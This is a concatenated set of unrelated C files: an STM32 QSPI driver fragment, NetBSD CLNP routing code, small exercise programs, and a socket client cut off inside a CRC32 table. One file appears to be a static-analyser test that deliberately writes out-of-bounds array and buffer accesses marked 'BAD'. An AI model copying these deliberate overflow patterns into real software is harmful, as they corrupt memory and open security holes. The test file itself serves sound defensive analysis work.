OSPI_RegularCmdTypeDef st_command;
qspi_status_t status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = *length;
if (HAL_OSPI_Command(&obj->handle, &st_command, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
tr_error("HAL_OSPI_Command error");
status = QSPI_STATUS_ERROR;
} else {
if (HAL_OSPI_Receive(&obj->handle, data, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
tr_error("HAL_OSPI_Receive error %d", obj->handle.ErrorCode);
status = QSPI_STATUS_ERROR;
}
}
debug_if(qspi_api_c_debug, "qspi_read size %u\n", *length);
return status;
}
#else /* OCTOSPI */
qspi_status_t qspi_read(qspi_t *obj, const qspi_command_t *command, void *data, size_t *length)
{
QSPI_CommandTypeDef st_command;
qspi_status_t status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = *length;
if (HAL_QSPI_Command(&obj->handle, &st_command, HAL_QPSI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
} else {
if (HAL_QSPI_Receive(&obj->handle, data, HAL_QPSI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
}
}
debug_if(qspi_api_c_debug, "qspi_read size %u\n", *length);
return status;
}
#endif /* OCTOSPI */
#if defined(OCTOSPI1)
qspi_status_t qspi_command_transfer(qspi_t *obj, const qspi_command_t *command, const void *tx_data, size_t tx_size, void *rx_data, size_t rx_size)
{
tr_debug("qspi_command_transfer tx %u rx %u command %#04x", tx_size, rx_size, command->instruction.value);
qspi_status_t status = QSPI_STATUS_OK;
if ((tx_data == NULL || tx_size == 0) && (rx_data == NULL || rx_size == 0)) {
// only command, no rx or tx
OSPI_RegularCmdTypeDef st_command;
status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = 1;
st_command.DataMode = HAL_OSPI_DATA_NONE; /* Instruction only */
if (HAL_OSPI_Command(&obj->handle, &st_command, HAL_OSPI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
tr_error("HAL_OSPI_Command error");
return status;
}
} else {
// often just read a register, check if we need to transmit anything prior reading
if (tx_data != NULL && tx_size) {
size_t tx_length = tx_size;
status = qspi_write(obj, command, tx_data, &tx_length);
if (status != QSPI_STATUS_OK) {
tr_error("qspi_write error");
return status;
}
}
if (rx_data != NULL && rx_size) {
size_t rx_length = rx_size;
status = qspi_read(obj, command, rx_data, &rx_length);
}
}
return status;
}
#else /* OCTOSPI */
qspi_status_t qspi_command_transfer(qspi_t *obj, const qspi_command_t *command, const void *tx_data, size_t tx_size, void *rx_data, size_t rx_size)
{
tr_debug("qspi_command_transfer tx %u rx %u command %#04x", tx_size, rx_size, command->instruction.value);
qspi_status_t status = QSPI_STATUS_OK;
if ((tx_data == NULL || tx_size == 0) && (rx_data == NULL || rx_size == 0)) {
// only command, no rx or tx
QSPI_CommandTypeDef st_command;
status = qspi_prepare_command(command, &st_command);
if (status != QSPI_STATUS_OK) {
return status;
}
st_command.NbData = 1;
st_command.DataMode = QSPI_DATA_NONE; /* Instruction only */
if (HAL_QSPI_Command(&obj->handle, &st_command, HAL_QPSI_TIMEOUT_DEFAULT_VALUE) != HAL_OK) {
status = QSPI_STATUS_ERROR;
return status;
}
} else {
// often just read a register, check if we need to transmit anything prior reading
if (tx_data != NULL && tx_size) {
size_t tx_length = tx_size;
status = qspi_write(obj, command, tx_data, &tx_length);
if (status != QSPI_STATUS_OK) {
return status;
}
}
if (rx_data != NULL && rx_size) {
size_t rx_length = rx_size;
status = qspi_read(obj, command, rx_data, &rx_length);
}
}
return status;
}
#endif /* OCTOSPI */
const PinMap *qspi_master_sclk_pinmap()
{
return PinMap_QSPI_SCLK;
}
const PinMap *qspi_master_ssel_pinmap()
{
return PinMap_QSPI_SSEL;
}
const PinMap *qspi_master_data0_pinmap()
{
return PinMap_QSPI_DATA0;
}
const PinMap *qspi_master_data1_pinmap()
{
return PinMap_QSPI_DATA1;
}
const PinMap *qspi_master_data2_pinmap()
{
return PinMap_QSPI_DATA2;
}
const PinMap *qspi_master_data3_pinmap()
{
return PinMap_QSPI_DATA3;
}
#endif
/** @}*/
|
the_stack_data/83000.c | #include "emmintrin.h"
#include <stdio.h>
__m128i a, b, c;
int main() {
a = _mm_set_epi16(1, 2, 3, 4, 5, 6, 7, 8);
b = _mm_set_epi16(5, 3, 2, 1, 4, 6, 1, 2);
c = _mm_min_epi16(a, b);
printf("%llx %llx", c[1], c[0]);
return 0;
}
|
the_stack_data/104827509.c | /* $NetBSD: clnp_subr.c,v 1.10 1996/10/13 02:04:20 christos Exp $ */
/*-
* Copyright (c) 1991, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)clnp_subr.c 8.1 (Berkeley) 6/10/93
*/
/***********************************************************
Copyright IBM Corporation 1987
All Rights Reserved
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the name of IBM not be
used in advertising or publicity pertaining to distribution of the
software without specific, written prior permission.
IBM DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
IBM BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
SOFTWARE.
******************************************************************/
/*
* ARGO Project, Computer Sciences Dept., University of Wisconsin - Madison
*/
#ifdef ISO
#include <sys/param.h>
#include <sys/mbuf.h>
#include <sys/domain.h>
#include <sys/protosw.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <sys/errno.h>
#include <sys/time.h>
#include <sys/systm.h>
#include <net/if.h>
#include <net/route.h>
#include <net/if_dl.h>
#include <netiso/iso.h>
#include <netiso/iso_var.h>
#include <netiso/iso_pcb.h>
#include <netiso/iso_snpac.h>
#include <netiso/clnp.h>
#include <netiso/clnp_stat.h>
#include <netiso/argo_debug.h>
#include <netiso/esis.h>
/*
* FUNCTION: clnp_data_ck
*
* PURPOSE: Check that the amount of data in the mbuf chain is
* at least as much as the clnp header would have us
* expect. Trim mbufs if longer than expected, drop
* packet if shorter than expected.
*
* RETURNS: success - ptr to mbuf chain
* failure - 0
*
* SIDE EFFECTS:
*
* NOTES:
*/
struct mbuf *
clnp_data_ck(m, length)
register struct mbuf *m;/* ptr to mbuf chain containing hdr & data */
int length; /* length (in bytes) of packet */
{
register int len; /* length of data */
register struct mbuf *mhead; /* ptr to head of chain */
len = -length;
mhead = m;
for (;;) {
len += m->m_len;
if (m->m_next == 0)
break;
m = m->m_next;
}
if (len != 0) {
if (len < 0) {
INCSTAT(cns_toosmall);
clnp_discard(mhead, GEN_INCOMPLETE);
return 0;
}
if (len <= m->m_len)
m->m_len -= len;
else
m_adj(mhead, -len);
}
return mhead;
}
#ifdef notdef
/*
* FUNCTION: clnp_extract_addr
*
* PURPOSE: Extract the source and destination address from the
* supplied buffer. Place them in the supplied address buffers.
* If insufficient data is supplied, then fail.
*
* RETURNS: success - Address of first byte in the packet past
* the address part.
* failure - 0
*
* SIDE EFFECTS:
*
* NOTES:
*/
caddr_t
clnp_extract_addr(bufp, buflen, srcp, destp)
caddr_t bufp; /* ptr to buffer containing addresses */
int buflen; /* length of buffer */
register struct iso_addr *srcp; /* ptr to source address buffer */
register struct iso_addr *destp; /* ptr to destination address
* buffer */
{
int len; /* argument to bcopy */
/*
* check that we have enough data. Plus1 is for length octet
*/
if ((u_char) * bufp + 1 > buflen) {
return ((caddr_t) 0);
}
len = destp->isoa_len = (u_char) * bufp++;
(void) bcopy(bufp, (caddr_t) destp, len);
buflen -= len;
bufp += len;
/*
* check that we have enough data. Plus1 is for length octet
*/
if ((u_char) * bufp + 1 > buflen) {
return ((caddr_t) 0);
}
len = srcp->isoa_len = (u_char) * bufp++;
(void) bcopy(bufp, (caddr_t) srcp, len);
bufp += len;
/*
* Insure that the addresses make sense
*/
if (iso_ck_addr(srcp) && iso_ck_addr(destp))
return bufp;
else
return (caddr_t) 0;
}
#endif /* notdef */
/*
* FUNCTION: clnp_ours
*
* PURPOSE: Decide whether the supplied packet is destined for
* us, or that it should be forwarded on.
*
* RETURNS: packet is for us - 1
* packet is not for us - 0
*
* SIDE EFFECTS:
*
* NOTES:
*/
int
clnp_ours(dst)
register struct iso_addr *dst; /* ptr to destination address */
{
register struct iso_ifaddr *ia; /* scan through interface addresses */
for (ia = iso_ifaddr.tqh_first; ia != 0; ia = ia->ia_list.tqe_next) {
#ifdef ARGO_DEBUG
if (argo_debug[D_ROUTE]) {
printf("clnp_ours: ia_sis %p, dst %p\n",
&ia->ia_addr, dst);
}
#endif
/*
* XXX Warning:
* We are overloading siso_tlen in the if's address, as an nsel length.
*/
if (dst->isoa_len == ia->ia_addr.siso_nlen &&
bcmp((caddr_t) ia->ia_addr.siso_addr.isoa_genaddr,
(caddr_t) dst->isoa_genaddr,
ia->ia_addr.siso_nlen - ia->ia_addr.siso_tlen) == 0)
return 1;
}
return 0;
}
/* Dec bit set if ifp qlen is greater than congest_threshold */
int congest_threshold = 0;
/*
* FUNCTION: clnp_forward
*
* PURPOSE: Forward the datagram passed
* clnpintr guarantees that the header will be
* contigious (a cluster mbuf will be used if necessary).
*
* If oidx is NULL, no options are present.
*
* RETURNS: nothing
*
* SIDE EFFECTS:
*
* NOTES:
*/
void
clnp_forward(m, len, dst, oidx, seg_off, inbound_shp)
struct mbuf *m; /* pkt to forward */
int len; /* length of pkt */
struct iso_addr *dst; /* destination address */
struct clnp_optidx *oidx; /* option index */
int seg_off;/* offset of segmentation part */
struct snpa_hdr *inbound_shp; /* subnetwork header of inbound
* packet */
{
struct clnp_fixed *clnp;/* ptr to fixed part of header */
int error; /* return value of route function */
struct sockaddr *next_hop; /* next hop for dgram */
struct ifnet *ifp; /* ptr to outgoing interface */
struct iso_ifaddr *ia = 0; /* ptr to iso name for ifp */
struct route_iso route; /* filled in by clnp_route */
extern int iso_systype;
clnp = mtod(m, struct clnp_fixed *);
bzero((caddr_t) & route, sizeof(route)); /* MUST be done before
* "bad:" */
/*
* Don't forward multicast or broadcast packets
*/
if ((inbound_shp) && (IS_MULTICAST(inbound_shp->snh_dhost))) {
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: dropping multicast packet\n");
}
#endif
clnp->cnf_type &= ~CNF_ERR_OK; /* so we don't generate an ER */
clnp_discard(m, 0);
INCSTAT(cns_cantforward);
goto done;
}
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: %d bytes, to %s, options %p\n", len,
clnp_iso_addrp(dst), oidx);
}
#endif
/*
* Decrement ttl, and if zero drop datagram
* Can't compare ttl as less than zero 'cause its a unsigned
*/
if ((clnp->cnf_ttl == 0) || (--clnp->cnf_ttl == 0)) {
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: discarding datagram because ttl is zero\n");
}
#endif
INCSTAT(cns_ttlexpired);
clnp_discard(m, TTL_EXPTRANSIT);
goto done;
}
/*
* Route packet; special case for source rt
*/
if CLNPSRCRT_VALID
(oidx) {
/*
* Update src route first
*/
clnp_update_srcrt(m, oidx);
error = clnp_srcroute(m, oidx, &route, &next_hop, &ia, dst);
} else {
error = clnp_route(dst, &route, 0, &next_hop, &ia);
}
if (error || ia == 0) {
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: can't route packet (errno %d)\n", error);
}
#endif
clnp_discard(m, ADDR_DESTUNREACH);
INCSTAT(cns_cantforward);
goto done;
}
ifp = ia->ia_ifp;
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: packet routed to %s\n",
clnp_iso_addrp(&satosiso(next_hop)->siso_addr));
}
#endif
INCSTAT(cns_forward);
/*
* If we are an intermediate system and
* we are routing outbound on the same ifp that the packet
* arrived upon, and we know the next hop snpa,
* then generate a redirect request
*/
if ((iso_systype & SNPA_IS) && (inbound_shp) &&
(ifp == inbound_shp->snh_ifp))
esis_rdoutput(inbound_shp, m, oidx, dst, route.ro_rt);
/*
* If options are present, update them
*/
if (oidx) {
struct iso_addr *mysrc = &ia->ia_addr.siso_addr;
if (mysrc == NULL) {
clnp_discard(m, ADDR_DESTUNREACH);
INCSTAT(cns_cantforward);
clnp_stat.cns_forward--;
goto done;
} else {
(void) clnp_dooptions(m, oidx, ifp, mysrc);
}
}
#ifdef DECBIT
if (ifp->if_snd.ifq_len > congest_threshold) {
/*
* Congestion! Set the Dec Bit and thank Dave Oran
*/
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: congestion experienced\n");
}
#endif
if ((oidx) && (oidx->cni_qos_formatp)) {
caddr_t qosp = CLNP_OFFTOOPT(m, oidx->cni_qos_formatp);
u_char qos = *qosp;
#ifdef ARGO_DEBUG
if (argo_debug[D_FORWARD]) {
printf("clnp_forward: setting congestion bit (qos x%x)\n", qos);
}
#endif
if ((qos & CLNPOVAL_GLOBAL) == CLNPOVAL_GLOBAL) {
qos |= CLNPOVAL_CONGESTED;
INCSTAT(cns_congest_set);
*qosp = qos;
}
}
}
#endif /* DECBIT */
/*
* Dispatch the datagram if it is small enough, otherwise fragment
*/
if (len <= SN_MTU(ifp, route.ro_rt)) {
iso_gen_csum(m, CLNP_CKSUM_OFF, (int) clnp->cnf_hdr_len);
(void) (*ifp->if_output) (ifp, m, next_hop, route.ro_rt);
} else {
(void) clnp_fragment(ifp, m, next_hop, len, seg_off, /* flags */ 0, route.ro_rt);
}
done:
/*
* Free route
*/
if (route.ro_rt != NULL) {
RTFREE(route.ro_rt);
}
}
#ifdef notdef
/*
* FUNCTION: clnp_insert_addr
*
* PURPOSE: Insert the address part into a clnp datagram.
*
* RETURNS: Address of first byte after address part in datagram.
*
* SIDE EFFECTS:
*
* NOTES: Assume that there is enough space for the address part.
*/
caddr_t
clnp_insert_addr(bufp, srcp, dstp)
caddr_t bufp; /* address of where addr part goes */
register struct iso_addr *srcp; /* ptr to src addr */
register struct iso_addr *dstp; /* ptr to dst addr */
{
*bufp++ = dstp->isoa_len;
(void) bcopy((caddr_t) dstp, bufp, dstp->isoa_len);
bufp += dstp->isoa_len;
*bufp++ = srcp->isoa_len;
(void) bcopy((caddr_t) srcp, bufp, srcp->isoa_len);
bufp += srcp->isoa_len;
return bufp;
}
#endif /* notdef */
/*
* FUNCTION: clnp_route
*
* PURPOSE: Route a clnp datagram to the first hop toward its
* destination. In many cases, the first hop will be
* the destination. The address of a route
* is specified. If a routing entry is present in
* that route, and it is still up to the same destination,
* then no further action is necessary. Otherwise, a
* new routing entry will be allocated.
*
* RETURNS: route found - 0
* unix error code
*
* SIDE EFFECTS:
*
* NOTES: It is up to the caller to free the routing entry
* allocated in route.
*/
int
clnp_route(dst, ro, flags, first_hop, ifa)
struct iso_addr *dst; /* ptr to datagram destination */
register struct route_iso *ro; /* existing route structure */
int flags; /* flags for routing */
struct sockaddr **first_hop; /* result: fill in with ptr to
* firsthop */
struct iso_ifaddr **ifa;/* result: fill in with ptr to interface */
{
if (flags & SO_DONTROUTE) {
struct iso_ifaddr *ia;
if (ro->ro_rt) {
RTFREE(ro->ro_rt);
ro->ro_rt = 0;
}
bzero((caddr_t) & ro->ro_dst, sizeof(ro->ro_dst));
bcopy((caddr_t) dst, (caddr_t) & ro->ro_dst.siso_addr,
1 + (unsigned) dst->isoa_len);
ro->ro_dst.siso_family = AF_ISO;
ro->ro_dst.siso_len = sizeof(ro->ro_dst);
ia = iso_localifa(&ro->ro_dst);
if (ia == 0)
return EADDRNOTAVAIL;
if (ifa)
*ifa = ia;
if (first_hop)
*first_hop = sisotosa(&ro->ro_dst);
return 0;
}
/*
* If there is a cached route, check that it is still up and to
* the same destination. If not, free it and try again.
*/
if (ro->ro_rt && ((ro->ro_rt->rt_flags & RTF_UP) == 0 ||
(Bcmp(ro->ro_dst.siso_data, dst->isoa_genaddr, dst->isoa_len)))) {
#ifdef ARGO_DEBUG
if (argo_debug[D_ROUTE]) {
printf("clnp_route: freeing old route: ro->ro_rt %p\n",
ro->ro_rt);
printf("clnp_route: old route refcnt: 0x%x\n",
ro->ro_rt->rt_refcnt);
}
#endif
/* free old route entry */
RTFREE(ro->ro_rt);
ro->ro_rt = (struct rtentry *) 0;
} else {
#ifdef ARGO_DEBUG
if (argo_debug[D_ROUTE]) {
printf("clnp_route: OK route exists\n");
}
#endif
}
if (ro->ro_rt == 0) {
/* set up new route structure */
bzero((caddr_t) & ro->ro_dst, sizeof(ro->ro_dst));
ro->ro_dst.siso_len = sizeof(ro->ro_dst);
ro->ro_dst.siso_family = AF_ISO;
Bcopy(dst, &ro->ro_dst.siso_addr, 1 + dst->isoa_len);
/* allocate new route */
#ifdef ARGO_DEBUG
if (argo_debug[D_ROUTE]) {
printf("clnp_route: allocating new route to %s\n",
clnp_iso_addrp(dst));
}
#endif
rtalloc((struct route *) ro);
}
if (ro->ro_rt == 0)
return (ENETUNREACH); /* rtalloc failed */
ro->ro_rt->rt_use++;
if (ifa)
if ((*ifa = (struct iso_ifaddr *) ro->ro_rt->rt_ifa) == 0)
panic("clnp_route");
if (first_hop) {
if (ro->ro_rt->rt_flags & RTF_GATEWAY)
*first_hop = ro->ro_rt->rt_gateway;
else
*first_hop = sisotosa(&ro->ro_dst);
}
return (0);
}
/*
* FUNCTION: clnp_srcroute
*
* PURPOSE: Source route the datagram. If complete source
* routing is specified but not possible, then
* return an error. If src routing is terminated, then
* try routing on destination.
* Usage of first_hop,
* ifp, and error return is identical to clnp_route.
*
* RETURNS: 0 or unix error code
*
* SIDE EFFECTS:
*
* NOTES: Remember that option index pointers are really
* offsets from the beginning of the mbuf.
*/
int
clnp_srcroute(options, oidx, ro, first_hop, ifa, final_dst)
struct mbuf *options;/* ptr to options */
struct clnp_optidx *oidx; /* index to options */
struct route_iso *ro; /* route structure */
struct sockaddr **first_hop; /* RETURN: fill in with ptr to
* firsthop */
struct iso_ifaddr **ifa;/* RETURN: fill in with ptr to interface */
struct iso_addr *final_dst; /* final destination */
{
struct iso_addr dst; /* first hop specified by src rt */
int error = 0; /* return code */
/*
* Check if we have run out of routes
* If so, then try to route on destination.
*/
if CLNPSRCRT_TERM
(oidx, options) {
dst.isoa_len = final_dst->isoa_len;
bcopy(final_dst->isoa_genaddr, dst.isoa_genaddr, dst.isoa_len);
} else {
/*
* setup dst based on src rt specified
*/
dst.isoa_len = CLNPSRCRT_CLEN(oidx, options);
bcopy(CLNPSRCRT_CADDR(oidx, options), dst.isoa_genaddr, dst.isoa_len);
}
/*
* try to route it
*/
error = clnp_route(&dst, ro, 0, first_hop, ifa);
if (error != 0)
return error;
/*
* If complete src rt, first hop must be equal to dst
*/
if ((CLNPSRCRT_TYPE(oidx, options) == CLNPOVAL_COMPRT) &&
(!iso_addrmatch1(&satosiso(*first_hop)->siso_addr, &dst))) {
#ifdef ARGO_DEBUG
if (argo_debug[D_OPTIONS]) {
printf("clnp_srcroute: complete src route failed\n");
}
#endif
return EHOSTUNREACH; /* RAH? would like ESRCRTFAILED */
}
return error;
}
/*
* FUNCTION: clnp_echoreply
*
* PURPOSE: generate an echo reply packet and transmit
*
* RETURNS: result of clnp_output
*
* SIDE EFFECTS:
*/
int
clnp_echoreply(ec_m, ec_len, ec_src, ec_dst, ec_oidxp)
struct mbuf *ec_m; /* echo request */
int ec_len; /* length of ec */
struct sockaddr_iso *ec_src; /* src of ec */
struct sockaddr_iso *ec_dst; /* destination of ec (i.e., us) */
struct clnp_optidx *ec_oidxp; /* options index to ec packet */
{
struct isopcb isopcb;
int flags = CLNP_NOCACHE | CLNP_ECHOR;
int ret;
/* fill in fake isopcb to pass to output function */
bzero(&isopcb, sizeof(isopcb));
isopcb.isop_laddr = ec_dst;
isopcb.isop_faddr = ec_src;
/*
* forget copying the options for now. If implemented, need only copy
* record route option, but it must be reset to zero length
*/
ret = clnp_output(ec_m, &isopcb, ec_len, flags);
#ifdef ARGO_DEBUG
if (argo_debug[D_OUTPUT]) {
printf("clnp_echoreply: output returns %d\n", ret);
}
#endif
return ret;
}
/*
* FUNCTION: clnp_badmtu
*
* PURPOSE: print notice of route with mtu not initialized.
*
* RETURNS: mtu of ifp.
*
* SIDE EFFECTS: prints notice, slows down system.
*/
int
clnp_badmtu(ifp, rt, line, file)
struct ifnet *ifp; /* outgoing interface */
struct rtentry *rt; /* dst route */
int line; /* where the dirty deed occured */
char *file; /* where the dirty deed occured */
{
printf("sending on route %p with no mtu, line %d of file %s\n",
rt, line, file);
#ifdef ARGO_DEBUG
printf("route dst is ");
dump_isoaddr((struct sockaddr_iso *) rt_key(rt));
#endif
return ifp->if_mtu;
}
/*
* FUNCTION: clnp_ypocb - backwards bcopy
*
* PURPOSE: bcopy starting at end of src rather than beginning.
*
* RETURNS: none
*
* SIDE EFFECTS:
*
* NOTES: No attempt has been made to make this efficient
*/
void
clnp_ypocb(from, to, len)
caddr_t from; /* src buffer */
caddr_t to; /* dst buffer */
u_int len; /* number of bytes */
{
while (len--)
*(to + len) = *(from + len);
}
#endif /* ISO */
|
the_stack_data/45188.c |
char xs[5];
struct {
char ys[5];
char zs[0];
} stru;
void f(void) {
char c;
c = xs[-1]; // BAD [NOT DETECTED]
c = xs[0]; // GOOD
c = xs[4]; // GOOD
c = xs[5]; // BAD
c = xs[6]; // BAD
c = stru.ys[-1]; // BAD [NOT DETECTED]
c = stru.ys[0]; // GOOD
c = stru.ys[4]; // GOOD
c = stru.ys[5]; // BAD
c = stru.ys[6]; // BAD
c = stru.zs[-1]; // BAD [NOT DETECTED]
c = stru.zs[0]; // GOOD (zs is variable size)
c = stru.zs[4]; // GOOD (zs is variable size)
c = stru.zs[5]; // GOOD (zs is variable size)
c = stru.zs[6]; // GOOD (zs is variable size)
}
void* malloc(long unsigned int);
void test_buffer_sentinal() {
struct { char len; char buf[1]; } *b = malloc(10); // len(buf.buffer) effectively 8
b->buf[0] = 0; // GOOD
b->buf[7] = 0; // GOOD
b->buf[8] = 0; // BAD [NOT DETECTED]
}
union u {
unsigned long value;
char ptr[1];
};
void union_test() {
union u u;
u.ptr[0] = 0; // GOOD
u.ptr[sizeof(u)-1] = 0; // GOOD
u.ptr[sizeof(u)] = 0; // BAD
}
void test_struct_union() {
struct { union u u; } v;
v.u.ptr[0] = 0; // GOOD
v.u.ptr[sizeof(union u)-1] = 0; // GOOD
v.u.ptr[sizeof(union u)] = 0; // BAD
}
void union_test2() {
union { char ptr[1]; unsigned long value; } u;
u.ptr[0] = 0; // GOOD
u.ptr[sizeof(u)-1] = 0; // GOOD
u.ptr[sizeof(u)] = 0; // BAD
}
typedef struct {
char len;
char buf[1];
} var_buf;
void test_alloc() {
// Special case of taking sizeof without any addition or multiplications
var_buf *b = malloc(sizeof(var_buf));
b->buf[1] = 0; // BAD
}
|
the_stack_data/115764420.c | #include <stdlib.h>
#include <assert.h>
#include <stdio.h>
struct obj_t {
const char * hello;
};
struct obj2_t {
const char * initial;
const char * added;
const char * added2;
};
static struct obj_t * obj;
static struct obj2_t * obj2;
int main(void) {
obj = malloc(sizeof(*obj));
assert(obj != NULL);
obj->hello = "world";
printf("{ ");
printf("hello: \"%s\"", obj->hello);
printf(" }\n");
obj2 = malloc(sizeof(*obj2));
assert(obj2 != NULL);
obj2->initial = "property";
obj2->added = "property 2";
obj2->added2 = "property 3";
printf("{ ");
printf("initial: \"%s\"", obj2->initial); printf(", ");
printf("added: \"%s\"", obj2->added); printf(", ");
printf("added2: \"%s\"", obj2->added2);
printf(" }\n");
free(obj);
free(obj2);
return 0;
}
|
the_stack_data/44200.c | //
// main.c
// example1a
//
// Created by ChangNi on 2018/3/15.
// Copyright © 2018年 xiaonizi. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
double factorial(int n){
double factrl = 1.0;
while(n!=1){
factrl *= n--;
}
return factrl;
}
double denominator(int n){
double denom = 1.0;
int i;
for(i=1; i<=n; i++){
denom *= 2*i+1;
}
return denom;
}
double term(int n){
double term;
term = 2.0*factorial(n)/denominator(n);
return term;
}
int main(){
double e;
scanf("%lf", &e);
int n=1;
double PI=2.0, differ;
do{
differ = term(n++);
PI+=differ;
}while(differ>e);
printf("%d %.7lf\n", n, PI);
return 0;
} |
the_stack_data/63546.c | /*
Samuele Allegranza @ Polimi
Fondamenti di informatica - Esercitazione
> Esercizio:
Scrivere un sottoprogramma che riceve in ingresso una stringa
contenente un paragrafo di testo scritto in italiano.
Il sottoprogramma modifica la stringa eliminando da essa tutti
i segni di interpunzione, ossia quei caratteri che differiscono
dai caratteri 'a'-'z', 'A'-'Z', '0'-'9' e spazio.
Il sottoprogramma restituisce il numero di caratteri eliminati
E' garantito che nel testo iniziale ci siano tutti e soli
caratteri 'a'-'z', 'A'-'Z', '0'-'9', spazi e segni di
interpunzione.
*/
#include <stdio.h>
#include <stdlib.h>
#define S_NUM '0'
#define E_NUM '9'
#define S_UPPER 'A'
#define E_UPPER 'Z'
#define S_LOWER 'a'
#define E_LOWER 'z'
#define SPACE ' '
int clear_text(char * text);
int is_valid(char);
int main(int argc, char * argv[]) {
char text[] = "La Wanderlust indica il desiderio di andare altrove, di andare oltre il proprio mondo, di cercare qualcos'altro: un desiderio di esotismo, scoperta e viaggio. ";
int in_len, out_len;
out_len = clear_text(text);
printf("%s\nRemoved: %d\n", text, out_len);
return 0;
}
int clear_text(char text[]){
int i, j;
for(i=0, j=0; text[i]!='\0'; i++) {
if(is_valid(text[i])) {
text[j] = text[i];
j++;
}
}
text[j] = '\0';
return (i-j);
}
int is_valid(char c) {
return ((c>=S_NUM && c<=E_NUM) || (c>=S_UPPER && c<=E_UPPER) || (c>=S_LOWER && c<=E_LOWER) || c==SPACE);
}
|
the_stack_data/107952079.c | #include <stdio.h> /*printf()*/
#include <stdlib.h> /*exit()*/
#include <string.h> /*strlen(),strcmp()*/
#include <unistd.h> /*close()*/
#include <sys/socket.h> /*socket(),connect()*/
#include <sys/types.h> /*setsockopt()*/
#include <arpa/inet.h> /*struct sockaddr_in*/
#include <netinet/in.h> /*inet_addr()*/
#include <fcntl.h> /*open()*/
#define DEV_RANDOM "/dev/urandom" //乱数生成用のデバイスファイル名
#define AUTHDATA_BYTE 4 //認証情報のビット数
#define DATAMAX 4294967295 //32bitの上限値
static const unsigned int crc32tab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
